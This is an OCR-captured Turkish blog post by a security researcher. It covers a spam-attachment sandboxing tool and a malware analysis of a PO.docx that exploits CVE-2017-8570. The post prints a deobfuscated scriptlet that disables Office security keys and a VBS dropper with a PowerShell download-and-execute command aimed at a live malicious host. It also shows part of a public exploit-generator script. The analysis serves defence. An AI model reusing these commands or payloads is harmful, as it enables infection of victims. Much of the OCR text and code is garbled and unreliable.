Matruska

written by Mert SARICA | 1 November 2018
If you are looking for an English version of this article, please visit here.

Her daim oOrimcek hislerinin pesinden kosan bir givenlik arastirmacisi olarak
hislerim uzun zamandan beri beni Gmail hesabimin Spam klasoOrine dikkat etmem
konusunda uyariyordu. 2006 yilindan bu yana aktif olarak Gmail kullanan biri
olarak, 13 yal icinde e-posta adresimin Nijerya’dan Papua Yeni Gine’ye kadar
bircok cografyadaki istenmeyen e-posta gonderen niyeti bozuk kisilerin

(spammers) e-posta listelerine girdigi konusunda siiphem bulunmuyordu.

Ginlerden bir giin yine spam klasdrine g6z atigimda kendimi cok yakisikli bir
film yildizi gibi hissetmemi saglayan c¢ok sayida istenmeyen e-posta oldugunu
gordim. :) Bu e-postalardan yola ¢ikarak zaman i¢inde Gmail hesabima gelip

spam klasorine dusen, ekinde zararli dosyalar bulunan e-postalarin sayisi ve
bu zararli dosyalarin tiri (casus yazilim gibi) hakkinda bilgi sahibi olmak
icin neler yapabilecegimi dislinmeye basladim. Kisa bir sire sonra Python ile
spam klasorune gelen e-postalari izleyen ve e-postalarin ekindeki dosyalari
bir kum havuzu (sandbox) sistemine yukleyen bir program hazirlamaya karar

verdim.

Delete all spam messages now (messages ihat have been in Spam more than 30 days will be automatically deleted)

Ekaterina hi - Hi to the hottest man in the world, which is program, my name is Ekaterina and im from Russia, but currently living in the USA. | just wanted to let you know that sesing your profile made me want 1:34 am
Tatiana hi - Hi to the hottest man in the world, which is program, my name is Tatiana and i'm from Russia, but currently living in the USA. | just wanted to let you know that ur profile made me 12:33am
Nadezhda i - Hi fo the hottest man in the world, which is mert, my name is Nadezhda and fm from Russia, but currently iving in the USA. | just wanted to let you know that sesing your profile made me want o 807 pm
Marina hi - Hi to the hottest man in the world, which is mert, my name s Marina and /'m from Russia, but currently living in the USA. | just wanted to let you know that seeing your profile made me want to Nov 23
Alla hi - Hi mert, my name is Alla and im from Russia Many fimes in lfe, we can end up taking the people who are closest to our hearts for granted. | am so used fo all of the wonderful things that guys Nov 23
Lesia Hi do You Know Me 11 - _Hi, We Need to Talk Nov 23
Vera hi - Hi mert, my name is Vera and m from Russia, but currently living in the USA. Two weeks ago | found your profile on Badoo and must say | cant forget that face :-) You are super cute and | would Nov 23
Alla hi - Hi program, my name is Alla and fm from Russia, but currently living in the US: ago | found your profile on Badoo and must say | ca Nov 22
Anastasia hi - Hi mert, my name is Anastasia and im from Russia, but currently fiving in the U weeks ago | found your profile on Badoo and must say | cant forget tha Nov 22
Lesia Hi do You Know Me 11 - _Hi, We Need to Talk Nov 22
Valeria hi - Dear mert, Finally | have got a change to write to you. My name is Valeria, im from Russia and now fm living in USA :-) | saw you first time on Facebook or Instagram, | don't remember, Nov 22
Oksana i - Dear program, Finally | have got a ch )y name is Oksana, im from Russia and now 'm living in USA ) I saw you first ime on Facebook or Instagram, | don't remember, Nov 22
Elena i - Dear program, Finally | have got a chang y name is Elena, im from Russia and now im living in USA ) | saw you first ime on Facebook or Instagram, | don't remember, Nov 22
Lyudmila hi - Dear mert, Finally | have got a change to write to you. My name is Lyudmila, im from Russia and now im living in USA -} | saw you first time on Facebook or Instagram, | dont remember, Nov 22
Svetlana hi - Dear program, Finally | have got a change to write to you. My name is Svetlana, m from Russia and now im living in USA :-) | saw you first time on Facebook o Instagram, | don't remember Nov 22
Oksana hi - Dear mert, Finally | have got a change to write to you. My name is Oksana, im from Russia and now im living in USA ) | saw you first fime on Facebook or Instagram, | don't remermber, but Nov 22
Barbara i - Dear program, Finally | have got a change to write o you. My name is Barbara, im from Russia and now im living in USA -) | saw you first tme on Facebook or Instagram, | don't remember, Nov 22

Kum havuzu servisi olarak zararli yazilim analizinde siklikla kullandigim ve
her daim sonuclardan memnun kaldigim, arka planda Falcon kum havuzu sistemi
bulunan Hybrid Analysis‘i kullanmaya karar verdim. Tabii Hybrid-Analysis’in
API’sine tespit edilen dosyalari otomatik olarak ylUkleyebilmek ic¢in kisiti

bulunmayan bir API anahtari gerekiyordu. Neyse ki guvenlik arastirmacilarina


https://www.mertsarica.com/matruska/
https://www.hack4career.com/matryoshka/
https://www.hybrid-analysis.com/

bunu Ucretsiz vermeleri sayesinde API anahtarina kisa bir sirede sahip
olabildim.

Falcon Sandbox: Your vetting request was accepted Inbox  x

Hybrid Analysis <mailer@hybrid-analysis.com>
tome -

Hello
Your vetting request status has changed. You will find 2 summary below.

New status: Accepted

Old status: Pending

Requested at: 12/14/2017 03:59:35

Notice: your vetting has been successfully processed and you can download files
without limits and obtain full API key. Please remember that once changing your E-

Mail address or Full name, you will need to pass vetting process once again.

Have a question or need help? Please use our contact form

Python ile Spam Analyzer isimli bir arac¢ hazirlayip, hayata gecirdikten kisa
bir slire sonra bu arac, Spam klasorinde ekinde PO.docx isimli supheli bir
dosya kesfetti.

+ Batcave X | @ Batcave (1)

Gmail Spam analyzer v1.0 [https://www.mertsarica.com]

[+] working on attachments...

#] Total unread messages in spam folder: 4

[#*] Submitting 2018().x1sx to Falcon Sandbox

[#*] submitting 9750f8ld3blfbbee8fOflfb7aaacldE? to Falcon sandbox
[#*] submitting Abel and wvivian.pdf to Falcon Sandbox

Submitting PO.docx to Falcon Sandbox

Sleeping 1 hour...

| N —

[w
[+
[ |



https://twitter.com/hybridanalysis/status/933797451689086976?lang=en
https://www.python.org/
https://github.com/mertsarica/hack4career/blob/master/codes/spam_analyzer.py
https://www.hybrid-analysis.com/sample/510f89597e3348e2983cc654cc359d104aef74ace40b78f4d775c866fb3fedfc?environmentId=100

| % Batcave 3 | @ Batcave (1)

Gmail Spam Analyzer v1.0 [https://www.mertsarica.com]

[+] working on attachments...

[#] A1l e-emails are already analyzed in Spam folder...
[+] Checking for malicious samples...

[#*] verdict of 2018().x1sx: no specific threat

[#] verdict of aAbel and wivian.pdf: no specific threat
[*] wverdict of PO.docx: suspicious

RE: Document Spam  x

i [}
]

Mr. Anuant piboonphon <xx@yy> © Feb 5 (3 days ago) 'S

¥ 1o Recipients [+

@ Be careful with this message. Similar messages were used to steal people’s persanal information. Unless you trust the sender, don't click links or reply with personal information. Learn more

Dear SirfMadam,

Attached herewith please find Pre-Alert Shipping documents for your pre-arrangement and we would like inform you, due to prevent lost of shipping documents, all Original Shipping Documents have put into this cargo Box No.1 and copies of those also attached
with AWB as well
If you need any more information, please don't hesitate to contact us.

Thank you for your kind support.

Best Regards.

Mr. Anuant piboonphon

Thai Master Transport Int'| Service (TMT) Co.,Ltd.

850/4 Lad Krabang Road, Lad Kragang , Lad Kragang , Bangkok Thailand 10520
IMobile Phone : 06 5485 5238

Tel: 02-326-7099 Ext 22

Fax: 02-326-7097

Email - anunat Piboonphon : airport@tmtcargo com : www.tmtcargo com

Member of: Image result for iata cargo logoRelated imagecid:image004.jpg@01D2BDF8. DASE4430nttp:/iww.allcargo.co thitafa Jpghttp:/uww. hasia or th/Portals/4/1ogo Jpg TACBA

A Downloading this attachment is disabled because this email has been identified as phishing. If you want to download it and you trust this message, click "Not spam’ in the banner above
Leam more

W Po.docx '

Spam Analyzer araci, Gmail API lzerinden Gmail hesabiniza client secret.json
dosyasinda yer alan baglanti bilgileri ile (Google API Console‘dan da

client secret.json dosyasini indirebilirsiniz) baglanarak Spam klasoOriindeki
tim e-postalari okur, ekindeki dosyalari attachments klasdriune kopyalar ve
ardindan bu dosyalari Hybrid-Analysis sistemine yukler. Yukledigi tim
dosyalarin bilgilerini hashes.txt dosyasinda saklar. Bu dosyalari Hybrid-
Analysis’e yukledikten 1 saat sonra ise ilgili Hybrid-Analysis raporunu ve

dosyanin zararli olup olmadigi bilgisini yine hashes.txt dosyasina yazar.

GNU nano 2.5.3 File: hashes.txt

04-03-2018 15:45:36|2018(). x1sx|726baecbb4485908blea5TB8a0f687ef472021b390ca7ff1ldbfob4 346ceabfc02f |submitted

04-03-2018 15:45:40|9750f81d3blfbbees8f0f1fb7aaacl482|c9ed4badbas91fas2fisfffecfceb296e8a5e557h665ac0ae964885bal63ad4bff|submitted
04-03-2018 15:45:43[abel and viwvian.pdf|0156ac243f674dbb6f4053ab4c0b0c7e2704e12f70b426FT4feadBff4d5421F9|submitted

04-03-2018 15:45:45|P0.docx|510F89597e3348e2983cc654cc359d104aef74aced0b78Ff4d775cB866Th3fedfc|submitted


https://developers.google.com/gmail/api/auth/about-auth
https://developers.google.com/api-client-library/python/guide/aaa_client_secrets
https://console.developers.google.com/

%lgslégﬁol:pg‘]a zuﬁ() XT15x|726baebbi4 6500801 €ast 5a0T A5/ eT 47 2021b390Cas 1T 10T 9b4 346CeabT CO2T |ATTps ://www. Nybr10-analys1s. com/sasple; 7 0baebbad8500Bb1east 5a0T 6By 147 20210390Car 1T 1dDT 9b4 346Ceabl cOZT Jenvironme »
%a?gﬁ)gé?f}’z t?rm'z??}}g‘.}t{lﬁbb:eafﬂfﬁb 7aaacldd [cYesbadbasalfEs2fisffiecfcoblobebaie 5766520920964 8585bal63adbff | https:/ /www. hybr id-analysis. com/sample/cedbadba’91fa52f 35Fffecfcbb296esases57ho65acdaedi4ss
mi?énigkfléslaglg ;gg:‘}'&:? :‘r;:? pdf | 0156ac24 3 674dbbef4053abdc0b0CT €2704ed 2F 70b426F F4F eadBF f4d5420F0 | hreps: / fwww. hybrid-analysis. com/sample/0156ac24 3F 674 dbbEFI053abd cOb0CT€2704 21 2F 70b4 26 F4fead 87 f4d54211 9%
E:-oo%sigﬁ(.};.? :45|PO. docx | 510F89597e3348e2983cc654cc359d104aef74aced0bT EF4d775cBEEFb3fedfc |https ://www. hybrid-analysis. com/sample/510f89597e334Be2983cc654cc350d104 aef 79aced 0b7EF4d7 7 5c866Fb3fedfcenvironmentzd

INHEE]

PO.docx dosyasini ilk olarak pestudio araci ile analiz etmeye basladigimda
ZoneAlarm disinda herhangi bir guvenlik yaziliminin bunu supheli olarak
tespit edemedigini gordim. Dosyayi yamasi gincel olmayan Microsoft Office
2010 ile acip Fiddler araci ile izledigimde oncelikle winword.exe tarafindan
kisaltilmis hali http://urlz[.]fr/6uQM, uzun hali
http://23[.]1249[.]1161[.]1109/ace/ olan web adresinden svch.doc dosyasinin
indirilip c¢alistirildigini ardindan da svch.exe tarafindan
http://jopittex[.]zapto[.]org/windows/ adresinden svchost32.vbs dosyasinin

indirilmeye calisildigini gordim.

Flle Help
whd xB8 7
=7 chusers\mert\desktop\po.docx engine (58) pasitiv (1) date (dd.mm.yyyy)  age (days) 5
i idi‘m”ﬂ] SRy ZoneAlarm UDS:DangerousObject.Multi.Generic 07.02.2018 2
5] '-.-'|rJ stotal (1/59 - 07.02.2018) Blav on 06.02.2018 3
R i s MicroWorld-eScan clean 07.02.2018 2
nProtect clean 07.02.2018 2
CMC clean 06.02.2018 3
CAT-QuickHeal clean 06.02.2018 3
Mchfee clean 07.02.2018 2
Malwarebytes clean 07.02.2018 2
VIPRE clean 07.02.2018 2 =
KT AntiVirus clean 06.02.2018 E:
BitDefender clean 07.02.2018 2
KIGW clean h 06.02.2018 3
TheHacker clean 06.02.2018 3
Arcabit clean 07.02.2018 2
Baidu clean 06.02.2018 3
F-Prot clean 07.02.2018 2
Symantec clean 06.02.2018 3
ESET-NOD32 clean 07.02.2018 2 .
TrendMicro-HouseCall clean 07.02.2018 2
Avast clean 07.02.2018 2
ClamAv clean 07.02.2018 2
Kaspersky clean 07.02.2018 2
Alibaba clean 07.02.2018 2
MANO-Antivirus clean 07.02.2018 2
ViRcbot clean 07.02.2018 2
SUPERARtiSpyware clean 07.02.2018 2
Tencent clean 07.02.2018 2
Ad-Aware clean 07.02.2018 2
Sophos clean 07.02.2018 2
Comedo clean 07.02.2018 2
F-Secure clean 07.02.2018 2
Driveb clean 07.02.2018 2
Zillya clean 06.02.2018 3 i

sha256: 510F89597E3348E2983 CCH54 CC359D104 AEF74ACE40BTEF4DT75CEB66FBIFEDFC



https://www.hybrid-analysis.com/sample/510f89597e3348e2983cc654cc359d104aef74ace40b78f4d775c866fb3fedfc?environmentId=100
https://www.winitor.com/
https://www.telerik.com/fiddler
https://www.hybrid-analysis.com/sample/1da136f706f8e322c065f44e7a1d40535baa432f75ef73ec748c68348700b3eb?environmentId=100
https://urlscan.io/result/763e17f4-baca-4f49-b047-ca64bc974df7/content/

@ Free Automats x

“ Expand Shorts X

= (4 | @ www.expandurl.net/expand?url=http%3A%2F%2Furlzfr%2FEuQM h*d | i)
A7 View the destination URL! l -
Expand URL Shorten URL Terms of Use Privacy Policy Contact Us
Expand URL
http://urlz_fr/6uQM
Expand URL
Results for http://urlz.fr/6uQM
Website Thumbnail Generator Short URL:  http://urlz.fr/6uQm
Redirects: 2 (hide details)
1. https://urlz.frreuQm
2. http://23.249.161.109/ace/svch.doc
; i& Long URL:  http://23.249.161.109/ace/svch.doc
shrinkthewss
Extra Information
4> Fiddier Web Debugger
File Edit Rules Tools View Help GET/book [ GeoEdge
B8 WinConfig ) #4 Replay X+ b Go  d Stream i Decode | Keep: All sessions = & Any Process #4 Find [l Save | i8] (%) @ Browse » & Clear Cache [T TetWizard | [ Tearoff | MSDM Search.. (@)
= Result  Protocol Host URL Body Caching  Content-Type Process Comments Custom
24 301 HITP wlzfe | 182 text/html wnword: 3128 [#23]
i 25 405 HTTPS wizfr | 170 text/html; charset=UTF-8 wnword: 3128 [=24]
[ 26 301 HITP wlz.fr  fougM 182 text/html wnword: 3128 [#25]
82 00  HITP Tunnel to  urlz.fri443 1.852 wimword: 31 [=26]
28 02 HITPS wiz.fr_JEuQM 5 text/html; charset=UTF-8 weword: 3128 [#27]
B 200 HITP 23.245.161.109 facefsvch.doc 586,121 application/msword weword: 3128 [#28]
i30 301 HTTP urlz.fr  [6UQM 0 text/ntml winword: 3128 [=29]
i3t 22 HTTPS wiz.fr feuQM ] text/html; charset=UTF-8 weword: 3128 [#30]
iz 200 HTTP 23.249.161.109 face/svch.doc 0 application msword wimwvord: 3128 [=31)
AEE 502 HTTP 2 ml; charse [#32]

PO.docx dosyasini Notepad++ ve rtfdump.py araclari ile analiz etmeye devam

ettigimde, Microsoft Word’'un frameset 6zelliginin kotlye kullanilarak (sizma
testlerinde de kullanilmaktadir) CVE-2017-8570 zafiyetinin istismar

edildigini g6rdim.


https://notepad-plus-plus.org/
https://blog.didierstevens.com/2018/01/31/update-rtfdump-py-version-0-0-7/
https://msdn.microsoft.com/en-us/library/office/documentformat.openxml.wordprocessing.frameset(v=office.14)
https://pentestlab.blog/2017/12/18/microsoft-office-ntlm-hashes-via-frameset/
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8570
https://github.com/rxwx/CVE-2017-8570/blob/master/packager_composite_moniker.py

[ CAUsers\Mert\Desktop\PO\PO\word_rels\webSettings.xml.rels - Notepad++ - " -
File Edit Search View Encoding Language Settings Macro Run  Plugins  Window ? X
cHEHE 8 4DDI2cinn + s BREIEIBHo L BEINE :
BlfortTabie xnt 3] I document s (3] B theme n £3] I dootment smils 3 [ webSettings i sss 1 | El)

i1 £?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2 <Relationships
3 xmlns="http://schemas.openxml formats.org/package/2006/relationships">
. CRETSEIOHSHIP Id="rIdl" Type=
"http://=schemas.openxmlformats.org/officeDocument /2006/relationships/frame" Target=
1 "‘lh'ti:p: /furl'z 5 ff/éﬁ(ﬁi" TargetMode="External" 8
5 </Relationships>

eXtensible Markup Language file length: 328 lines: 5 Ln:4 Col:118 Sel:20]|1 Windows (CRLF)  UTF-8 INS
untu:~/spam_analyzer /attachments# |_Z|l)ft on rtfdump. py 0 svC oc
4 Level 3 c= 0 p=00000049 580662 h= 580650 b= 00 u= “*objdata
7 Level 3 c= 0 p=0008dce8 1= 5278 h= 5266 b= 00 u= “*“objdata
root@ubuntu:~/spam_analyzer /attachments#
FOOLEUBUNT Y~/ spam_ana Tyzer /attachmenis® python rifdump.py -5 4 -H -E -d sveh.doc | more
<scriptlets
<registrat1
s:riptlm-"rpos x0zh"
proqid- rws x0zh
Versions
classid=" {23a00cd5 -191b-400b-ab31-d7819ef4e60c) "
tmlable- True”
</registrations
<script language="3Script™s>
<! [CDATA]
r usm = [“wScript.shell”, "word. Application”, "ADODS. Stream”, " scr ng. Fil mobject”, "
1 4CC 5468697320707 26F677. 74 57 6E 2069 44F! A 3
I0000CES 30 1
IO0ZET4657 267273726300000011 2
0000 o B 0000000200050098 34 |2 0
AZAl Al 008001 30! 172010 0147 21000007 01880 616 00 17 1F1ABDOFO000010807 167, A207 1] 00 2071 1! A20TL!
000070420714 716 1c7241 10724 50000704207 1€ 1709 071F0A7 24 000007 0A2071F 067 2 P1EOCT2 70a2071F0D7235 1FOE7 255 FOF725
J007 0A2071F107 2071F117241000070A2071F127 26100007042071F1 37231 207171472 31 04207 1F: A207LF167 2300 2071F177 2650000704207 1F 187 2400 0A2071F 1972200 20742
01240018 11 269000070147 13061106161 1100000142110 2 2CF0000701880020000011 30F110F167 211010
D7DA2 [OF1707A2110F 72CF 00! 78002000C 13101110167, 00001B007 2C1 1311111116729001007 04, 11 0001
2560100701 131211 67 ZET01007 04, 1 7 1313161314 1311149a1 2CF 7258010071 111 | 106a211152808( 7 B 7! 1
§7223020070147 230020070168 D00113161116160642111 6171 1A 1108a211161 1100000142111814063 : 360 728070 333 o
D020000011317111716110842111717168¢ 0014211171806A2L AZ111T1A 0000068C 1100000142111 7. 020070147, 1318111816110742 7168C11000001421118180642111
10000014 AL1107. BC11000001A211 1417 114 BEGOIF Y9724 7011097 247020071 04 "4 702007011097 01!
24 007011 DA LL0A7 21103 1950020000011319111916 119171 1 1 110000014211 3 17 80O,
0001 Al11A1606A21114. 308280200000611087 24 130C110C 0171 13181 7 131C111C160242111CA211 1k 0011 1 26DE
2000000411 000 7030000270 1 147216000070188002000 22700007042061 0000010807167 26703007042071772 07187239000070420
6F 0300704207 1AT 2 3500007 7. 71CT 27 30 71E7 251000070 1F097 2680300704207 1F0AT. DO70AZ07LFO8. 70300704207 LFOCT 2350000704207 11 37 1421 FOET. 0 TA20628
241330 17 70147211 &0 AZ06171F2C 08071 1 71873 704207197 14 07187 23000007
071C7 2410000704207 107 22 0A2071E 7239000070207 1FOS7251 71F0AT2 70A2071FOB7 2680300704207 1FOC 72550000 1FOD7 23500007 DA207 1FOE7 22000007 0A2071FOFT 241 F107 071F1172680300704
071F1272. '071F137. A2071F147235000070A2071F1572 2071F167 27F0: 0A2071F17726B03 0A2071F187. 0AZ071F197 27703 :u?uuu? FLAT 207 1F1B7 22000007 0A2071F1C7 2410000704207 1F1D7 2450
J0070A2071FLET 2550000704207 LF1F7 2870300704, 1F207. AF217, 'QA2071F227 '071F23 14207 LF 24 2071F 25, 21 7. '0A20: 287, '0A2071F2
TFO: 2071F2A72 04207 1F 287 2880 7 0. 1022811 416130 01030
701 13061 110628 10110817581305110511048E69375c1 102281 62 130 2 90300701
1880 3071107 1071705421107 DE13260800110617 58130611061 4241104 1 65 133 472100000703 0616722
7000070220617 1672670300704207177 Bariae o T0a00 oAreTtan 2074206280800 05 £0400 60642071
TO3A207, 2281 1104 02! 81 2 130511 JA211051705A
21105 026110417 381 3041 40000C 300200CEC AEF| 000006E 53707 37465602E 52657 36F7 57263657 326 52657 36F 6164657 22C 20607 3636F 7 2606962 2 205665727 I696F BE 3034 2E I02E 302E 302C 204 37 56C7
3302653068057 5747 161 6c 2c 30507 S0z0c 565 S6E306237 37 93334653038392353707 374656020 52657 3677 57263657 326527 S6E7 469606552657 3677 57263655365 5379737465602E537472696
6758 302C 20607 363677202 69622C 205603727 36967 68 30342t 1028 302 302 66747 57472616¢ 220507562 9546r 080368 30623737613 7¢ 588 2908C 98579
FO953335F001967A01F1625922 Fi‘ '6E BRI 074 JE4BAEZI4E3I6LED]
DAEOL4E114E JE4EGCAESLLEGCAELC JEO?lEEMEJ‘IEiztE AECBAE. 11 TCAESMEG3: }.d!dilE?MES?lES?IE-UEI MEGOME 3CAE 5 00003
LTG0 E EALOF 41 DS L4 4E4 196 L0 £AdE 2O4E TEAEOME T0AE 04 JAC0CAE 37 40 J0AESCAESO4ES T FOAET AL CAIEDIAE SOAE JCAE AETEAES msu:sm:mr E 3OE2EIEA AL ELIEIIESMETBIE QA SATE L dE A
nnizusnuouns-as:s« A4E1B4EOCAR 396000002:2“:!.:\45 m:ozdsru(s& E704E414E1 246214657 4E214E 26466246 3B4E7 2461 3467 I E6B4E! E53462 541 754E614E274E7RARA64E3
O4ETT4EGI4E SB4E4L4EGTIELDIEG2SEGLIELFAE, 24ELE4EIESE2 JIMEAG4E IG4E1FAELOJE2BIEGESE SCAE J44EBIIEZELE ST E!fdi57IEZME).EAE5545?E4£0ME--EAE77457M£!34E2ZIE TFAE3BAEZ04
EO?§£73456NE]¢4£SB-IE5C S4EIDLETOME ?u!i?l!??dE??lEZEﬂ TCAEOBAE2Q4E214E2E4E2304 000044 554 E444ESS4E2BLEL 7BAES94EL24E584E. S14E484E1EAE Ml"‘ﬂ!oﬂdﬁ 7DAE2S4EGEL
E2B4E S14ESFAETCLADL0032 A e e O E G4 GAE SIS S A S E T4 TCE L T4 414 S AE LA ET MESEd 1010048 04E AL 2GIELEAEdEdETSAE S AECDIES AE4O4EL04EIEAE2B4E S
OF4E MEZM[IGE?N 3 EID4ETS4ELTAE4 SAEAFAES94E4META4ESBAE 294E604E CAEB44ES24E 31464 HEIIHNES@!EI 34E074E204E2CAR4BAEA0MELTART B4R SEAET I4E104E4 J4E7 2469
'R "‘M EWE3NE7‘4EAIJ 7946594 1:461‘45384224-“2#4 ).HESD-‘EDZJEZII%OHE} Ill21142514242457!4..?0“0).00200‘ 91 ?7415“0‘76‘57 SALFODC2 7F 504 8CCH 7D51087098C33
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'\M«iﬁagmsmxszwm . SCLARC:\Fakepath'0BSQI SIRNFEUOIO. SCLABABABACAS ABAAEC 3\ Fakepath'069Q] SIRXFEUOIQ. SCTART J1ADMBDML versions"1.0"%>
eser
(registranon
descrimh:n- rpns . X0Zh™
poS. X

23a00cd5-191b-400b-ab31-d7 E19efde69c}"
True

</registrations
:sErlm language="1script”>

00", "APPOATA" , “sWich.exe"];
var KIemiow = poMMvio(0

kkeuFoorwdng= mkzoundqogsbe(usm[5]) + + usm[6];

var XGACYbeOPtskwl = pDMHvIa(3);
if (mwwvtskw F1leExists (kxeuroorwdng ){
vheoprskwu. beleterile(kKeur oorwdng

caich e {

cuj llrw'l(-'l :mnsuucus- [4] kleuiunnmni
TemiowR. Run (kK
[ry{

KIemionR, Regwrite("HKCU\ )\ Sof tware\ \Microsoft) \of fice!\12. o \iword\ |\ Secur | ty'\JACCessVBOM® , 1,

KIemionR. Regwrite( HKCU' \Sof tware\ \Microsoft) \office word\\Secur ity \ACCesSVBOM " , 1.

kIemionR. Regwrite( "MKCUL\S mara\\Mcrnsoh\\anu \\mrd\\secur ty\w:usm

KIemiowR. Regwrite “MKCU\,\ Sof Twar e\ \Microseft\\oF f ice'\16. 0\ \word\\ Secur Ty \ACcessVEoM" » “REG_DWORD"™
var IQXUAYHEQ]T = pmmJo(l)

IoXUAYHEQ] ], Visible = tru.

IQXUAYHEQ]]. nisn'luy-ﬂm‘('. = false;

1gxuAYHEQ] 1, Documents, add H

Var QwLYBqpin = luxuﬂna?
QWLYBQpin. Font. N

QWLYBQpin. Font. Size =
amLYBgpin. Typgnxc( "This file is protected with G4bit security”);
?M. Bqpin. Typeraragraph();

KTemionR. Regwrite( "HKCU\ ) Sof twar e \Microsoft'\0ffice}\11. 01 \word\\Secur ity \ACCESSVBOM™ , 1, "REG_DWORD" g

se'l ection;

i catch

un(non poMHvIo (kkeuFoorwdnE}
urn new .a:uuembje:t(us-[knusuorwdnﬂ)

unction -kzwmm:sae(kneufoor-mn ) {
return Klemiowk.ExpandEnvironmentStrings(™%" + kkeuFoorwdnE + "%");

;unﬂ‘on cijr-ﬂclznqsw(nsnyv:lesju:w:k kreuFoorwdnE ) {
o Im

XGPZIn
for ?inqkzmctmumu:ap = 0; WFiKgkzcwCbalmVEGP < { PBNyYIwiSjHlkvzk.length / 2 ): NFiKgkaCwChalmVFGRe+ g(
lquPz]anVrd‘nos += String. fromCharCode{ "Ox' + PBNyYIwjSjHlkvzk.substr{ nfikgkzewCbaumvFer * 2, 2 ) );

yosjGatcauvxbkfcxve - pomavia(2);
ytsjmtﬁaurxhkf(n‘o type =
GATGaUYXbkFCxYD. charser = "I60-8859-1";
y\‘_s GatGauyxbkfexyo, o
y(simtcan\'xhkf(:vo writeText (IquPz]anvrdnﬂ‘SJ H

yesjGATGauvxbkfCxv, saveTord le (kkeur oorwdne) ;
yesjcatcaurxbkfoxvo. close(d;
1>
</seripf
(fs(rﬂ?!'l“»-" ARARARC AR AR AR MK P 2t AghAg POARIARSARI MY ARQAR, ML AMRCARE QAR ARSAR QAR MSABCABTARA_ARARARCAR AR\ ARFARark ARe DS
Get Help write out where Is cut Text Justify Prev Page FEIrst Line wherels Next QB Mark Text Indent Text
Exit Read File Rreplace uncut Text To spell B Next Page Last Line To Bracket Copy Text unindent Text n-edo

'Q CVE-2017-8570/packags X

— c | & GitHub, Inc. [US] | https://github.com/mwx/CVE-2017-8570/blob/master/packager_composite_moniker.py {'r| i

1rr'p::|’t random -

import string

class Package(object):
Packager spec based on:
https://phishme.com/rtf-malware-delivery/

Dropping method by Haifei Li:
nttps://securingtomorrow.mcafee.com/meafee-labs/dropping-files -temp-folder-raises-security-concerns/

Found being used itw by @MalwareParty:
https://twitter.com/MalwareParty/status/9438618212603861440

def __init_ (self, filename):
self.filename = ''.join{random.choice(string.ascii_uppercase + string.digits) for _ in range(15)) + ".sct"
self.fakepath = 'C:\\QGEIGSE\\{}" .format(self.filename)

self.orgpath = self.fakepath
self.datapath = self.fakepath

th open{filename,'rb'} as +:

self.data = f.read()

self.0B]_HEAD = r"{\object\objemb\objwl\objhl{\*\objclass Package}{\*\objdata "
self.0B]1_TAIL = r"@la5eeedee000eae} 1"

def get_object_header(self):
OLEVersicn = '81858898'
FormatID = '@28220@a'
ClassName = 'Package’

szClassName = struct.pack("<I", len(ClassName) + 1}.encode{'hex")

szPackageData = struct.pack("<I", len(self.get_package_data())/2).encode( hex")

Confuser araci ile ile kodlari gizlenmis (obfuscation) olan svch.exe
tarafindan indirilip, calistirilan svchost32.vbs dosyasi ise ASProtect ile
korunan profile.exe dosyasini http://www[.]bluesw[.]net/wp-admin//user/
adresinden %Public% klasorine svchost.exe adi altinda indirip,

calistiriyordu.


https://yck1509.github.io/ConfuserEx/
https://www.hybrid-analysis.com/sample/68a0974c8851a52084a2945a91adab93f2f20b9fff48c7d936358a92a564ab52?environmentId=100
https://urlscan.io/result/763e17f4-baca-4f49-b047-ca64bc974df7/content/
http://www.aspack.com/asprotect32.html
https://www.hybrid-analysis.com/sample/796bf2cef975153992397defe23ae82b174284e12d7bc0f1f4d2e154794c69c8?environmentId=100

File Edit

Search Vlew _Encodi

cOEERLE| 4%

[ test.vbs Eil

Language

Settings

Macro  Run

|ocimg| x| BRI I1EEH=

Pluglns Window 7

o B EDN DR

173
174
175
176
177
i78
179
is0
181
182
183
184
18

i8

187

g8

207
208

AnwEXnwulS011
AnwEXnwulS011
AnwEXnwulS0ll
AnwEXnwul5011
AnwEXnwulS011
AnwEXnwulS011
AnwEXnwulS011
AnwEXnwnlS5011
AnwEXnwnlS5011
AnwEXnwulS5011
AnwEXnwulS011
AnwEXnwulS0ll
AnwEXnwul5011
AnwEXnwulS011
AnwEXnwulS12

mam
AnwEXnwulS011
AnwEXnwalS01l
AnwEXnwnl5011
AnwEXnwulS011
AnwEXnwulS011
AnwEXnwulS011
AnwEXnwul5011
AnwEXnwulS011
AnwEXnwulS011
AnwEXnwulS011
AnwEXnwalS01l
AnwEXnwnl5011
AnwEXnwulS011

shhh.Popup (AnwEXnwulS512)

Set wso
wso.RegWrite
wso.RegWrite
wso.RegWrite
wso.RegWrite
w=2o.RegWrite
wso.RegWrite
wso.RegWrite
wso.RegWrite
w=2o.RegWrite
wso.RegWrite
wso.RegWrite
wso.RegWrite
wso.RegWrite
w=2o.RegWrite
wso.RegWrite
wso.RegWrite
wso.RegWrite
w=so.RegWrite
wso.RegWrite

BB R R

AnwEXnwul51l + AnwEXnwul

CreateObject {"WScript.Shel

\Microsoft\
oftwa e‘-.Hicrc:sc:ft‘x

Software\Microsofth
Software\Microsofth

el —. -..i--..- -

it

Windows Script Host

cmd.exe /K taskkill /f /im winword.exeBetaskkill /f /im Excel.exeBPowerShell
(Mew-Object

Systern.Net.WebClient).DownloadFile( http://www.bluesw.net/wp-admin//user/p
rofile.exe ','%Public®\svchost.exe');Start-Process '%Public%\svchost.exe’

r 1, "REG DWORD™
"REG_DWCRD"
"REG_DWCRD"

. DWORD™

DWCRD"

DWCRD™
ternetFilesT
izableAttachements

Protected
ProtectedView
1 rotectedView!

1

izableInternetFi

1,

=zablelUnsafelocationsInPV",
lesInPV", 1,

EXnwulST + AnwE

"REG_DWOR
"REG_DWORD
1, "REG _DW
"RE

o~

length : 13.456

lines: 254 ‘Windows (CR LF)

All 10 Subat 2018 Cumartesi

File Edit

Search View Encoding Language

cDHE 3L shDioeingltx BRI 1EDIEHE

[=test .vbs E:il

Settings

Macro  Run

Pluglns Window 7

SICECRoRCE

218

(%]

L T T T O B O S B O T A S T R X

wso.RegWrite
wso.RegWrite
wso.RegWrite
w=2o.RegWrite
wso.RegWrite
wso.RegWrite
wso.RegWrite
wso.RegWrite
w=2o.RegWrite
wso.RegWrite
wso.RegWrite
wso.RegWrite
w=2o.RegWrite
wso.RegWrite
wso.RegWrite
wso.RegWrite
wso.RegWrite
w=2o.RegWrite
wso.RegWrite
wso.RegWrite
wso.RegWrite
w=so.RegWrite
wso.RegWrite
wso.RegWrite
wso.RegWrite
wso.RegWrite
